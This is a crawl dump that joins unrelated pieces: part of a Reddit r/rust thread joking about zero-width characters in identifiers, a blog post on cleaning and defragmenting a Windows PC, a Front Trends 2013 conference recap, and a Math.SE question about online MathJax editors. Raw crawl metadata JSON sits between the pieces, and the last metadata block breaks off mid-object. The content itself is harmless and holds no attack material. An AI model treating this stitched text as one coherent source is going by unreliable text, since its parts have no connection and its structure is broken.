they're characters from the Canadian Aboriginal Syllabics block
Oh my god
level 4
c++ allows 0-width spaces in variable names. Where's your god now?
level 5
TBH I'm not sure which is worse: treating them as identifier constituent characters or treating them as whitespace.
level 6
I won't be satisfied until I have a compiler which treats readability crimes like that as syntax terrors.
level 7
20 points · 1 year ago
rustc?
level 5
once wrote a short Swift program with every identifier a different length chain of 0-width spaces.
level 5
3 points · 1 year ago
There are words in Hindi that need those.
level 4
9 points · 1 year ago
more like, where is your god now?
level 3
Are you not concerned that this is actually a fraud towards innocent go compiler? That could bring attention to the go police
level 4
Comment deleted1 year ago
level 5
6 points · 1 year ago
level 3
I feel like I'm witnessing a unicorn being stabbed through the heart by evil students of ML and its descendants...
level 3
It's so beautiful. I'm seeing rainbows.
level 3
I'm fking dying here bro, hahahah, this is the funniest thing I've read all day
level 2
I'm a bot, bleep, bloop. Someone has linked to this thread from another place on reddit:
If you follow any of the above links, please respect the rules of reddit and don't vote in the other threads. (Info / ^Contact)
Community Details
44.2k
Rustaceans
404
Online
For everything related to the Rust programming language—an open-source systems language that emphasizes safety, performance, and concurrency.
Create Post
r/rust Rules
1.
Respect our code of conduct
2.
Keep comments constructive
3.
No zealotry
4.
Chill out!
5.
Keep it on-topic
6.
No memes
|
{
"url": "https://www.reddit.com/r/rust/comments/5penft/parallelizing_enjarify_in_go_and_rust/dcsgk7n/?utm_campaign=CodeTengu&utm_medium=web&utm_source=CodeTengu_127",
"source_domain": "www.reddit.com",
"snapshot_id": "crawl=CC-MAIN-2018-43",
"warc_metadata": {
"Content-Length": "306456",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4MQQETMGCFFNYIVSGQABKD2RMG273HBG",
"WARC-Concurrent-To": "<urn:uuid:831867d8-b20a-4ca1-89ec-63c133b7eae2>",
"WARC-Date": "2018-10-18T03:15:07Z",
"WARC-IP-Address": "151.101.201.140",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SXDKTGMBLXW3BZWEWBNEHVVJSBBY4SNY",
"WARC-Record-ID": "<urn:uuid:460942cc-e105-41c8-9d3e-87fce11eb777>",
"WARC-Target-URI": "https://www.reddit.com/r/rust/comments/5penft/parallelizing_enjarify_in_go_and_rust/dcsgk7n/?utm_campaign=CodeTengu&utm_medium=web&utm_source=CodeTengu_127",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2ef7c595-fbe9-4bb1-a7f7-b0e11f91c8c8>"
},
"warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-168-124-187.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
93,
117,
172,
180,
222,
230,
254,
255,
300,
301,
343,
344,
380,
381,
389,
428,
429,
558,
559,
767,
768,
776,
800,
801,
865,
866,
876,
877,
885,
886,
953,
954,
962,
963,
1079,
1080,
1088,
1089,
1195,
1196,
1204,
1227,
1228,
1235,
1236,
1244,
1245,
1344,
1345,
1353,
1375,
1376,
1418,
1419,
1427,
1449,
1450,
1484,
1485,
1493,
1494,
1620,
1621,
1629,
1655,
1663,
1685,
1693,
1694,
1809,
1810,
1818,
1819,
1859,
1860,
1868,
1869,
1949,
1950,
1958,
1959,
2048,
2049,
2177,
2178,
2196,
2197,
2203,
2204,
2215,
2216,
2220,
2221,
2228,
2229,
2371,
2372,
2384,
2397,
2400,
2428,
2431,
2458,
2461,
2473,
2476,
2487,
2490,
2507,
2510
],
"line_end_idx": [
93,
117,
172,
180,
222,
230,
254,
255,
300,
301,
343,
344,
380,
381,
389,
428,
429,
558,
559,
767,
768,
776,
800,
801,
865,
866,
876,
877,
885,
886,
953,
954,
962,
963,
1079,
1080,
1088,
1089,
1195,
1196,
1204,
1227,
1228,
1235,
1236,
1244,
1245,
1344,
1345,
1353,
1375,
1376,
1418,
1419,
1427,
1449,
1450,
1484,
1485,
1493,
1494,
1620,
1621,
1629,
1655,
1663,
1685,
1693,
1694,
1809,
1810,
1818,
1819,
1859,
1860,
1868,
1869,
1949,
1950,
1958,
1959,
2048,
2049,
2177,
2178,
2196,
2197,
2203,
2204,
2215,
2216,
2220,
2221,
2228,
2229,
2371,
2372,
2384,
2397,
2400,
2428,
2431,
2458,
2461,
2473,
2476,
2487,
2490,
2507,
2510,
2518
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2518,
"ccnet_original_nlines": 110,
"rps_doc_curly_bracket": 0.0003971399855799973,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.31156715750694275,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026119399815797806,
"rps_doc_frac_lines_end_with_ellipsis": 0.009009010158479214,
"rps_doc_frac_no_alph_words": 0.23320895433425903,
"rps_doc_frac_unique_words": 0.5612009167671204,
"rps_doc_mean_word_length": 4.531177997589111,
"rps_doc_num_sentences": 32,
"rps_doc_symbol_to_word_ratio": 0.0018656699685379863,
"rps_doc_unigram_entropy": 5.156794548034668,
"rps_doc_word_count": 433,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.10958205908536911,
"rps_doc_frac_chars_dupe_6grams": 0.056065239012241364,
"rps_doc_frac_chars_dupe_7grams": 0.056065239012241364,
"rps_doc_frac_chars_dupe_8grams": 0.056065239012241364,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.028542300686240196,
"rps_doc_frac_chars_top_3gram": 0.028542300686240196,
"rps_doc_frac_chars_top_4gram": 0.042813461273908615,
"rps_doc_books_importance": -217.7462158203125,
"rps_doc_books_importance_length_correction": -217.7462158203125,
"rps_doc_openwebtext_importance": -112.54676818847656,
"rps_doc_openwebtext_importance_length_correction": -112.54676818847656,
"rps_doc_wikipedia_importance": -98.6934585571289,
"rps_doc_wikipedia_importance_length_correction": -98.6934585571289
},
"fasttext": {
"dclm": 0.05466074123978615,
"english": 0.9093875288963318,
"fineweb_edu_approx": 1.0204218626022339,
"eai_general_math": 0.062384720891714096,
"eai_open_web_math": 0.1604132056236267,
"eai_web_code": 0.0003620400093495846
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.132",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "5",
"label": "Comment Section"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,248,570,581,539,633,200 |
We all use Laptops,PCs in our day-to-day life. In many ways. But unlike humans, they cannot take care of themselves entirely on their own. So as we use them to our needs, we also need to take care of them for their prolonged life. In short, it’s a good idea to clean your PC regularly, both physically and virtually ! In this article, I’ll share with you, few useful tips on cleaning and optimizing your PC/Laptop through some tools available in Windows :
Use in-built Disk Cleaner in Windows
Type cleanmgr in the Start and run the tool. Select C: drive for cleaning as it is usually the primary partition where Windows is installed. It analyzes the disk and shows a list of unnecessary files once it completes analysis.
image
Select the files to delete and proceed. Additionaly you can also clean-up system files (See image below) which can gain you some additional space , but is not always necessary. As C: is the default partition where your OS is installed, cleaning it frequently helps Windows to boot a little faster and access system files faster. You can also occasionally clean the junk files on other drives by selecting the drive letter when the tool launches and following similar procedure.
Use in-built Defragmentation tool in Windows.
Files are not actually stored on the hard-disk like they appear on your file manager. Windows, like any OS, stores files in a way that’s convinient for it to access randomly. In this process of storing, each file can be divided into hundreds of fragments and be stored at free slots available on HD. But, when you need that file, Windows has to access all the fragments of it without clutter, which becomes a tedious task as files get more ‘Fragmented’ . Thus, this brings us to the solution that is, to ‘Defragment’ the files so that each file has least no. of fragments or even best, a single piece. This is what defragmentation does, thus helping your PC to access the files faster when you need them and keeping the HardDisk healthy.
Windows has an in-built option to defragment your drive. To launch it, go to the Properties of the drive you want to “Defrag” (Defragment) and under ‘Tools’ tab, select ‘Optimize’ option. Alternatively, you can type defragui in the Start to launch the same tool. Next select all drives and click ‘Analyze All’. Once it finishes the analysis, it shows the % of defragmentation in each drive next to it. Select drives having a value greater than 5% and click ‘Optimize all’. See if defragmentation is scheduled or not in the same window. If it’s not, then ‘Turn On’ a scheduled defragmentation and select a Weekly schedule. Once you ensure this, you need not worry about defragmenting again. Your PC takes care of it.
image
Check for Hard Disk errors.
In course of time, PC’s HD is prone errors which deteriorate its performance or even may cause it to malfunction. Checking and correcting it asap helps in extending it’s life in some sense. Again, Windows’ in-built tool comes in handy.
Go to the Properties of target drive, and under ‘Tools’ tab, click on ‘Check’ button. If the it’s your Windows drive ( Usually C: ), it’ll ask you to schedule the boot-time Disk check, i.e it’ll check that drive the next time you turn-on your PC. But, again if you change your mind, you’ll have a choice to skip the Disk Check at the boot, which I recommend you not. These disk checks can be done rarely like once a month and unfortunately, there’s no in-built option to schedule it.
That’s all for now. Just by following these simple measures, you can avoid a major heart-attack on your PC 😉
P.S : You can also use CCleaner for cleaning HD & additional maintenance tasks.
Advertisements
|
{
"url": "https://windroidwiz.wordpress.com/2015/07/11/tip-keep-your-pc-healthy-with-these-simple-steps/",
"source_domain": "windroidwiz.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2017-43",
"warc_metadata": {
"Content-Length": "79353",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YSOO45LAO2EL2AT2DKTUMEKJYB5C5TLQ",
"WARC-Concurrent-To": "<urn:uuid:4890279a-f569-474b-ae30-759d88af70cc>",
"WARC-Date": "2017-10-17T16:42:52Z",
"WARC-IP-Address": "192.0.78.13",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:JGQJV33WHBKRRPGJMWTURWD37QFZUWLA",
"WARC-Record-ID": "<urn:uuid:000ecbec-1907-418e-b7eb-b9636305e6be>",
"WARC-Target-URI": "https://windroidwiz.wordpress.com/2015/07/11/tip-keep-your-pc-healthy-with-these-simple-steps/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b5308d63-c9f3-4250-8772-bf8c832a7569>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-164-221-253.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
456,
457,
494,
495,
723,
724,
730,
731,
1209,
1210,
1256,
1257,
1995,
2711,
2712,
2718,
2719,
2747,
2748,
2984,
3468,
3577,
3578,
3658,
3659
],
"line_end_idx": [
456,
457,
494,
495,
723,
724,
730,
731,
1209,
1210,
1256,
1257,
1995,
2711,
2712,
2718,
2719,
2747,
2748,
2984,
3468,
3577,
3578,
3658,
3659,
3673
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3673,
"ccnet_original_nlines": 25,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4341279864311218,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023839399218559265,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1718945950269699,
"rps_doc_frac_unique_words": 0.43533122539520264,
"rps_doc_mean_word_length": 4.59779167175293,
"rps_doc_num_sentences": 43,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.1397600173950195,
"rps_doc_word_count": 634,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.01303602010011673,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010291599668562412,
"rps_doc_frac_chars_top_3gram": 0.010291599668562412,
"rps_doc_frac_chars_top_4gram": 0.011663810350000858,
"rps_doc_books_importance": -344.5904846191406,
"rps_doc_books_importance_length_correction": -344.5904846191406,
"rps_doc_openwebtext_importance": -215.62474060058594,
"rps_doc_openwebtext_importance_length_correction": -215.62474060058594,
"rps_doc_wikipedia_importance": -150.65330505371094,
"rps_doc_wikipedia_importance_length_correction": -150.65330505371094
},
"fasttext": {
"dclm": 0.028322340920567513,
"english": 0.9244546890258789,
"fineweb_edu_approx": 2.1416594982147217,
"eai_general_math": 0.4205225706100464,
"eai_open_web_math": 0.1906229853630066,
"eai_web_code": 0.09333866834640503
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,998,896,078,551,727,000 |
back home
Front Trends 2013 summary
It’s was my first time attending Front Trends. The idea was to get a glimpse of the new and upcoming stuff that will happen on the web. Or just go outside the building and see what cool kids are doing these days as I’m pretty much chained to the chair with this wonderful stack we use at Atlassian.
I learned couple of things that were fascinating.
JavaScript is dead, long live VM
Seems JavaScript VM (JSVM) is now a destination platform for many new languages. As it happened with Java VM people got bored either with the flaky syntax or the execution performance and led new efforts to fix both.
So there’s stuff like CoffeScript that gives you a nice object oriented language on top of JavaScript VM.
There’s also asm.js (more here) that lets you treat JSVM as a processor/computer architecture so you can compile your rusty C or C++ into JavaScript and execute it blazingly fast (almost running on bare metal).
There’s also other things like defs.js that give you ability to transform JavaScript to JavaScript! WTF you would ask? Yeah, me too. But it has a reason - defs.js lets you compile and use EcmaScript 6 goodies on old browsers that don’t support ES6 (all of them).
And talking about goodies - there are let and const that will finally make resolving variable scope sane. Throw vars out of the window!
Source maps
You’d ask that it’s great to have a new language on JSVM but what about maintainability, that must suck, right? Right!
But with source maps it sucks less! You can add special additional files that will help you translate your generated JavaScript code into sth readable - say you minimized your JavaScript but now want to debug it? Use source maps.
Or did you actually wrote your app in CoffeScript? Use source maps.
Localization in 21st century
How many things go into writing a great, localized product? Does having key-value maps is sufficient to create outstanding apps that speak the user’s language?
Yes or no? Well, we thought key-value pairs are enough. At least for a long time.
But guess what, it’s the least you can do. If you really want to talk to you users and really show that you care and you don’t want to introduce user experience failures it’s time to use something better.
And here comes the project from Mozilla, they are building Firefox OS which wants to talk to the users (and is built on JavaScript+HTML) so they had to figure out how to create sth better than gettext and friends.
With L20n you can separate your application with translation, you can add arbitrary logic to each language (you know that they have their own sometimes incompatible rules?) then render it server side or client side, and what’s better (when done on the client) you can even make it respond to events (like device orientation change).
This is a responsive design!
CSS is bigger than you think
So this is an overall impression. Knowing only bits of CSS I was amazed by the power it comes with it - doing animations? Use CSS for that! Use Transitions? CSS! Really complex UI layout? CSS!
Want to have responsive pages? There’s plenty of new stuff that will help you (flex boxes, etc.).
There are even proposal for adding stuff from print design - like following paragraphs that let’s you totally separate text from the presentation and make your text flow from arbitrary DOM elements to another (Pages anyone?).
Building software from blocks
There’s plenty of tools that let’s use create your MVP from scratch in less time than you can use to think up the idea. I loved the idea of moving this even step further, with hood.ie you get not only nice back-end server with common stuff already implemented (like sign-ups, password reminders, etc.) but you even get JavaScript API to use it!
That’s really making it easy to stack up blocks to create an app. Love the concept!
The venue
It was refreshing and inspiring to see all those people presenting their ideas. The organization of the venue was really good.
There were some quirks - like that rest area was a glass house so it’s really hot. And the presentation area being really chilly.
The food was great (at least from observation), the party was even better (with free beer), and the beer was free also during the days.
There were some really poor presentations (4 in total), especially day one was a bit of a disappointment. But on the other hand there were some great like the one done by Jake Archibald.
In summary I’ve got what I came for which is food for thought. I think I should more often come and visit conferences like that.
|
{
"url": "https://pawelniewiadomski.com/2013/04/29/front-trends-2013-summary/",
"source_domain": "pawelniewiadomski.com",
"snapshot_id": "crawl=CC-MAIN-2017-30",
"warc_metadata": {
"Content-Length": "10477",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DEQUV6KIRQE57G7HCEMLDQPG7QHJB4XE",
"WARC-Concurrent-To": "<urn:uuid:16fdbccc-a3db-44aa-97f9-5923d620023b>",
"WARC-Date": "2017-07-25T14:32:15Z",
"WARC-IP-Address": "54.230.19.218",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:XPHWIT4CUKKBTD6UWAQ5FS6QSXAACE5E",
"WARC-Record-ID": "<urn:uuid:074af2b5-ebe6-4a41-ae63-5dd4898bce77>",
"WARC-Target-URI": "https://pawelniewiadomski.com/2013/04/29/front-trends-2013-summary/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:dd62daa3-03a5-4a5b-8b58-a29d650b733d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-232-78-197.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
10,
11,
37,
38,
337,
338,
388,
389,
422,
423,
640,
641,
747,
748,
960,
961,
1224,
1225,
1361,
1362,
1374,
1375,
1494,
1495,
1725,
1726,
1794,
1795,
1824,
1825,
1985,
1986,
2068,
2069,
2274,
2275,
2489,
2490,
2823,
2824,
2853,
2854,
2883,
2884,
3077,
3078,
3176,
3177,
3403,
3404,
3434,
3435,
3780,
3781,
3865,
3866,
3876,
3877,
4004,
4005,
4135,
4136,
4273,
4274,
4461,
4462
],
"line_end_idx": [
10,
11,
37,
38,
337,
338,
388,
389,
422,
423,
640,
641,
747,
748,
960,
961,
1224,
1225,
1361,
1362,
1374,
1375,
1494,
1495,
1725,
1726,
1794,
1795,
1824,
1825,
1985,
1986,
2068,
2069,
2274,
2275,
2489,
2490,
2823,
2824,
2853,
2854,
2883,
2884,
3077,
3078,
3176,
3177,
3403,
3404,
3434,
3435,
3780,
3781,
3865,
3866,
3876,
3877,
4004,
4005,
4135,
4136,
4273,
4274,
4461,
4462,
4590
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4590,
"ccnet_original_nlines": 66,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 2,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.46033403277397156,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.031315241008996964,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1367432177066803,
"rps_doc_frac_unique_words": 0.4699999988079071,
"rps_doc_mean_word_length": 4.536250114440918,
"rps_doc_num_sentences": 60,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.444079875946045,
"rps_doc_word_count": 800,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01157344039529562,
"rps_doc_frac_chars_top_3gram": 0.010746760293841362,
"rps_doc_frac_chars_top_4gram": 0.008266739547252655,
"rps_doc_books_importance": -396.5091857910156,
"rps_doc_books_importance_length_correction": -396.5091857910156,
"rps_doc_openwebtext_importance": -239.4300537109375,
"rps_doc_openwebtext_importance_length_correction": -239.4300537109375,
"rps_doc_wikipedia_importance": -140.1629180908203,
"rps_doc_wikipedia_importance_length_correction": -140.1629180908203
},
"fasttext": {
"dclm": 0.0412752591073513,
"english": 0.9586473107337952,
"fineweb_edu_approx": 1.6131505966186523,
"eai_general_math": 0.29706811904907227,
"eai_open_web_math": 0.22643965482711792,
"eai_web_code": 0.16548091173171997
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-6,534,534,870,158,392,000 |
Sign up ×
Mathematics Stack Exchange is a question and answer site for people studying math at any level and professionals in related fields. It's 100% free, no registration required.
I suspect this might easily be a clone question, it seems impossible that nobobdy would've asked this before, but my searches seem to return nothing.
I've grown very used to the MathJaX input here. So much, that when I need to show some maths to somebody, I'd go to Math.SE "Ask Question" and then just type it up there and then usually send it as a picture or something along those lines.
This is, however, very impractical (not to say lame)
My question therefore is: is there any way how to do this in a more sophisticated and practical way? Either output the Math.SE preview in a better way, or a (not necessarily) online editor. I've tried many different online editors, but they all fail at different details such as recognizing stars as bold/italic, characters such as $\mathbb{R}$ or $\mathscr{U}$, general formatting, etc.
Thanks!
Edit: I wouldn't want to turn this into a LaTeX online editor question. I am well aware of that and I can always give up and go to LaTeX. It's just that I love the input on Math.SE and would like to use it not just for asking questions here.
To demonstrate further - I sometimes take an existing answer on Math.SE and make edits on it (and/or translate it) for my own purposes. What would be the easiest way to do this?
share|cite|improve this question
7
May be we should add download as pdf option at the side of share edit retag flag in this machine. :) – 007resu Jan 11 '13 at 23:53
If that were to happen, I'd probably open a bottle of champagne or something. – Dahn Jahn Jan 11 '13 at 23:55
1
In that case you could always use something like CutePDF or PDFCreator to print to a PDF file. – Antonio Vargas Jan 12 '13 at 0:17
For printing purposes there is also the stackprinter. See meta.math.stackexchange.com/q/3079 – Martin Jan 12 '13 at 2:06
@Martin. Thanks together with the sandbox, this could do the job (even if sloppy). However, I have just one last problem, I've tried a number of PDF creators and none of them seem to preserve signs such as $\mathbb{R}$, do you have any ideas what to do about that? – Dahn Jahn Jan 12 '13 at 7:32
5 Answers 5
[Last update 2015-05] Just to add some options for people stumbling upon this.
• stackedit comes closes to regular StackExchange-like Markdown and MathJax behavior.
• marx works similarly.
• MathBin is focused on sharable snippets. The already mentioned MathB.in has been retired and points to texpaste which does have markdown support.
• Notepag.es's website appears dead, but you can find the source on GitHub if you want to host it yourself.
• Authorea can also do markdown with MathJax.
• Qute is a desktop application. There are now a gazillion others and many text editors have plugins (e.g., Atom, Sublime)
• For MathJax docs have a MathJax in Use page which is primarily for historic purposes.
All of these should work for markdown+mathjax but might not behave identical to the SE-flavored combination.
share|cite|improve this answer
Notepag.es looks really great, but I can't figure out how to do in-line math. Any ideas? (there's also no help page that I can find...) – JeremyKun Jan 9 '14 at 19:58
Actually, that link revealed Stackedit.io, which appears to be less simple but way better for me. – JeremyKun Jan 9 '14 at 20:02
Not a big fan of MathBin, simply because all the output is in red. – Ethan Bierlein Oct 30 '14 at 1:19
MathBin and Notepag.es give "Forbidden" and "502 bag Gateway" errors respectively, but maybe it's just my network? – Hack-R May 13 at 15:02
Right. The original answer is very old. I only updated the links to the MathJax docs recently. I'll check later if I can find working links for those. But there are lots of editors and plugins out there now and of course Stackedit is great which was released after my original posting. – Peter Krautzberger May 13 at 15:11
up vote 7 down vote accepted
The best way:
For later reference - this question is now obsolete, as https://stackedit.io/ exists.
share|cite|improve this answer
I have used Qute. Pretty useful. This may be better. – marty cohen May 11 at 21:30
I see that StackEdit allows you to type in MathJax, but I don't see any equation-writing tools to allow you to type an equation and have the code generated. Is that right? Is there any tool that allows you to enter an equation as you would in Microsoft Equation Editor (i.e. without knowing the Markdown code)? – Hack-R Jul 30 at 17:15
The meta site has a sandbox for drafts. You can type your post there and share a direct link to it.
share|cite|improve this answer
I quite like this solution, thanks. (And it's probably the best I can do now) – Dahn Jahn Jan 13 '13 at 12:37
I use MathBin to send quizzes or notes to students.
share|cite|improve this answer
Thanks. That is, however, a "last resort" for me - I'd very much like to write my maths exactly as here on Math.SE. If that's possible, though.. – Dahn Jahn Jan 11 '13 at 23:35
@DahnJahn The only difference I've noticed is that you have to use [EQ][/EQ] and [IEQ][/IEQ] instead of $$ $$ and $ $ there. Is that what you're referring to? – Antonio Vargas Jan 11 '13 at 23:37
Yes, that itself makes it less useful for purposes than any LaTeX online editor out there. I've added an example in the main post to demonstrate this further. – Dahn Jahn Jan 11 '13 at 23:48
2
MathBin is now shut down. The page points to TexPaste as a replacement. – Jean-Claude Arbaut Nov 28 '14 at 6:09
Most sites offer no assistance in entering formulas, these ones do:
Excellent online mathjax editor with clean interface
http://www.texpaste.com/
Other options, interface a bit more complicated though but that's a personal choice
share|cite|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
{
"url": "http://math.stackexchange.com/questions/276104/online-mathjax-editor?answertab=votes",
"source_domain": "math.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2015-40",
"warc_metadata": {
"Content-Length": "107899",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DEZPYV5F2AR5G5FSUF3RPB7CJP7S3ZTJ",
"WARC-Concurrent-To": "<urn:uuid:f8ec70e5-f0e6-4775-ae61-5a1bd6f8283d>",
"WARC-Date": "2015-10-05T02:06:11Z",
"WARC-IP-Address": "104.16.14.128",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:FMJ6LFHNIVK5P2YLKSHVRSI5G2N3ODG7",
